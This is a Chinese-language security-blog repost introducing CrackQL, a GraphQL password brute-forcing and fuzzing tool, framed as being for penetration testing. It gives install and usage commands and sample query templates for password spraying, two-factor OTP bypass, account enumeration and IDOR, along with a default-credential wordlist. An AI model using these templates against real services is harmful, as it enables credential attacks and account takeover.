前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CrackQL:一款功能强大的图形化密码爆破和模糊测试工具

CrackQL:一款功能强大的图形化密码爆破和模糊测试工具

作者头像
FB客服
发布2023-03-30 19:21:05
4910
发布2023-03-30 19:21:05
举报
文章被收录于专栏:FreeBufFreeBuf

 关于CrackQL 

CrackQL是一款功能强大的图形化密码爆破和模糊测试工具,在该工具的帮助下,广大研究人员可以针对密码安全和应用程序安全进行渗透测试。

除此之外,CrackQL同时也是一款通用的GraphQL渗透测试工具,它可以控制速率限制和其他分析控制技术来对目标系统进行凭证爆破和模糊测试等操作,以测试程序的安全性。

 工具运行机制 

CrackQL的工作原理是将单个GraphQL查询或变异自动批量处理为多个别名操作,该工具可以根据CSV输入变量确定要使用的别名数。在以编程方式生成分批GraphQL文档后,CrackQL然后会分批并将Payload发送到目标GraphQL API,并解析结果和错误信息。

 工具依赖组件 

Python3 Requests GraphQL Jinja

 工具安装 

广大研究人员可以使用下列命令将该项目源码克隆至本地:

代码语言:javascript
复制
git clone git@github.com:nichola*saleks/CrackQL.git

接下来,利用项目提供的requirements.txt文件安装该工具所需的依赖组件:

代码语言:javascript
复制
pip install -r requirements.txt

 工具运行 

查看帮助信息

代码语言:javascript
复制
python3 CrackQL.py -h


Options:
  -h, --help             显示工具帮助信息和退出
  -t URL, --target=URL   目标GraphQL节点的URL路径
  -q QUERY, --query=QUERY
                        指定输入查询或编译操作
  -i INPUT_CSV, --input-csv=INPUT_CSV
                        输入CSV列表的文件路径
  -d DELIMITER, --delimiter=DELIMITER
                        CSV输入分隔符,默认:“,”
  -o OUTPUT_DIRECTORY, --output-directory=OUTPUT_DIRECTORY
                        存储结果的输出目录,默认:./results/[domain]_[uuid]/
  -b BATCH_SIZE, --batch-size=BATCH_SIZE
                        每次GraphQL文档请求的批量操作数量,默认:100
  -D DELAY, --delay=DELAY
                        批量请求发送的时间间隔,默认:0
  --verbose           启用工具Verbose模式
  -v, --version         输出工具当前版本和退出

使用样例

代码语言:javascript
复制
python3 CrackQL.py -t http://example.com/graphql -q sample-queries/login.graphql -i sample-inputs/usernames_and_passwords.csv

 工具使用演示 

密码喷射爆破

sample-queries/login.graphql

代码语言:javascript
复制
mutation {
  login(username: {{username|str}}, password: {{password|str}}) {
    accessToken
  }
}

双因素身份验证OTP绕过

sample-queries/otp-bypass.graphql

代码语言:javascript
复制
mutation {
  twoFactor(otp: {{otp|int}}) {
    accessToken
  }
}

用户账号枚举

sample-queries/enumeration.graphql

代码语言:javascript
复制
query {
  signup(email: {{email|str}}, password: {{password|str}}) {
    user {
      email
    }
  }
}

不安全的直接对象引用

sample-queries/idor.graphql

代码语言:javascript
复制
query {
  profile(uuid: {{uuid|int}}) {
    name
    email
    picture
  }
}

字典Payload

sample-inputs/usernames_and_passwords.csv

代码语言:javascript
复制
username, password
admin, admin
admin, password
admin, pass
admin, pass123
admin, password123
operator, operator
operator, password
operator, pass
operator, pass123
operator, password123

许可证协议

本项目的开发与发布遵循BSD-3-Clause开源许可证协议。

项目地址

https://github.com/nicholasaleks/CrackQL

参考资料

https://portswigger.net/burp/documentation/desktop/tools/intruder

https://www.graphql-modules.com/docs#authentication-module

https://github.com/dolevf/Damn-Vulnerable-GraphQL-Application

https://github.com/nichola*saleks

https://github.com/dolevf

精彩推荐

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-08-04,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  •  关于CrackQL 
  •  工具运行机制 
  •  工具依赖组件 
  •  工具安装 
  •  工具运行 
    • 查看帮助信息
      • 使用样例
      •  工具使用演示 
        • 密码喷射爆破
          • 双因素身份验证OTP绕过
            • 用户账号枚举
              • 不安全的直接对象引用
                • 字典Payload
                • 许可证协议
                • 项目地址
                • 参考资料
                相关产品与服务
                网站渗透测试
                网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
                领券
                问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档